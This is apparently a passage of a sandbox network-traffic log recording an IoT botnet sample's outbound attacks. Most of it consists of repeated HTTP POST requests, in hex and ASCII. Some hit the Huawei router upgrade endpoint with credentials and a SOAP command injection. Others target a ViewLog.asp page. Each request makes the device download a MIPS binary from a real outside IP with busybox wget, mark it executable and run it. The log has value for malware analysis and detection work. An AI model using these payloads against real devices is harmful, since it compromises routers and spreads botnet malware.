6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:27.398458958 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:31.270499945 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:38.950489044 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:54.310565948 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:25.030450106 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	60774	31.136.60.176	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:25.920887947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:28.966478109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:35.110467911 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:47.142468929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.742404938 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.894218922 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	36054	62.29.120.60	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:25.958755016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	35616	31.200.54.42	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:25.988217115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	36866	94.211.173.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:26.158663988 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:26.408884048 CET	246	IN	HTTP/1.1 404 Not Found Content-Length: 174 Content-Encoding: gzip Vary: Accept-Encoding Server: CherryPy/8.1.2 Date: Thu, 23 Nov 2023 04:16:26 GMT Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	35984	94.121.125.89	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:26.226392031 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	33506	31.136.126.106	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:26.944061041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
